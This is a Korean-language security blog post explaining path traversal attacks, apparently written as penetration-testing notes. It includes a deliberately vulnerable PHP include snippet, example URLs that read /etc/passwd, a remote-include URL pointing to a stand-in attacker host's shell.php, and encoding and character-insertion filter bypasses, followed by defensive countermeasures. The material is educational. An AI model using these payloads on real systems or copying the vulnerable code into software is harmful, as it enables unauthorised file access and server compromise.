Path Traversal
- Path Traversal (Directory Traversal) 공격은 클라이언트로부터 입력 받은 값이 경로 형태로 서버측에서 처리를 하는 경우 공격자가 이를 조작하여 원하는 경로로 접근하거나 정상적으로 접근이 불가능한 파일에 접근하는 공격 기법
- 보통 클라이언트로부터 파일의 이름이나 경로를 전달받아 처리하는 경우에 많이 발생하며 ../와 같은 구문을 사용하여 상위 디렉터리로 접근하거나 일반적으로 접근이 불가능한 경로에 있는 설정 파일이나 시스템 파일 등에 접근이 가능
Path Traversal 취약점 발생 원인
- 파일의 이름이나 경로를 클라이언트에서 전달받아 사용할 때 이를 검증하지 않고 바로 사용하여 발생
<Sample Source>
<?php
$template = 'sg.php';
if (is_set ($_GET['TEMPLATE']))
$template = $_GET['TEMPLATE'];
include("/home/users/security/templates/".$template);
?>
<조작된 접근>
https://example.com/vulnerable.php?TEMPLATE=../../../../../../etc/passwd
Path Traversal 공격 예시 #1
- 애플리케이션에서 제공하는 파일 다운로드 기능이 클라이언트로부터 파일 이름을 전달 받고 검증하지 않는 경우
<정상 접근>
https://example.com/download?filename=info.docx
<조작된 접근>
https://example.com/download?filename=../../../../../../etc/passwd
Path Traversal 공격 예시 #2
- 애플리케이션의 특정 페이지에서 내부 리소스를 참조하는 경우
<정상 접근>
https://example.com/get_resource.php?file=help.html
<조작된 접근>
https://example.com/get_resource.php?file=/etc/passwd
Path Travesal 공격 예시 #3
- 애플리케이션의 특정 페이지에서 외부 리소스를 참조하는 경우
<정상 접근>
https://example.com/get_resouce.php? page=http://kisa.securitygym.or.kr/help.html
<조작된 접근>
https://example.com/get_resource.php?page=http://attacker.co.kr/shell.php
Path Traversal 공격 예시 #4
- 애플리케이션에서 제공하는 파일 다운로드 기능이 클라이언트로부터 파일 이름을 전달받아 검증을 수행하고 있으나 로직이 미흡하여 인코딩을통하여 우회가 가능한 경우
<정산 접근>
https://example.com/download?filename=info.docx
<조작된 접근 - 인코딩 전>
https://example.com/download?filename=../../../../../../../../etc/passwd
<조작된 접근 - 16Bit Unicode 인코딩 후>
https://example.com/download?filename=%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc/passwd
Path Traversal 공격 예시 #5
- 애플리케이션에서 제공하는 파일 다운로드 기능이 클라이언트로부터 파일 이름을 전달받아 검증을 수행하고 있으나 로직이 미흡하여 추가 문자 삽입을 통하여 우회가 가능한 경우
<정상 접근>
https://example.com/download?filename=info.docx
<조작된 접근 - 추가 문자 삽입 전>
https://example.com/download?filename=../../../../../../../etc/passwd
<조작된 접근 - 추가 문자 삽입 후>
https://example.com/download?filename=..././..././..././..././etc/passwd
Path Traversal 공격 대응
- 애플리케이션 서비스 내 파일 호출 시 클라이언트측에서 값을 입력 받지 않는다.
- 애플리케이션 서비스 내 파일 호출 시 실제파일의 이름을 사용하지 않고 별칭 사용
- 클라이언트측에서 값을 입력 받을 경우 ../ 문자와 같이 경로를 변경할 수 있는 문자들을 검증하고 필터링하며 이 때 인코딩/디코딩된 문자열 역시 검증하고 반복적으로 필터링 될 수 있게 처리
- 권한을설정하여 애플리케이션의 해당 프로세스가 이동 가능한 경로 범위를 지정
결론
Path Traversal 공격은 결국 디렉토리를 우회해서 폴더 및 파일에 접근하는 공격이다. 디렉토리 인덱싱 공격과 아주 유사한데 똑같은 공격이라고도 생각이 든다. 주요정보통신기반시설 관련하여 디렉토리 인덱싱을 작업한 게 있는데 이 공격은 따로 해둔 것이 없어 추후에 취약 사이트등을 이용하여 시도해봐야겠다.
'정보보안 > 모의해킹' 카테고리의 다른 글
CSRF (Cross-Site Request Forgery) (0) | 2024.06.24 |
---|---|
XSS(Cross Site Scripting) 공격 및 XSS 공격 예시 TOP10 (0) | 2024.06.21 |
루트킷 (RootKit) (0) | 2024.06.19 |
[모의해킹] 백도어(Backdoor)와 백도어의 종류 (패스워드 크래킹, 루트킷 등) (0) | 2024.06.17 |
[모의해킹] 중간자공격 (Man In The Middle Attack, MITM) (0) | 2024.06.14 |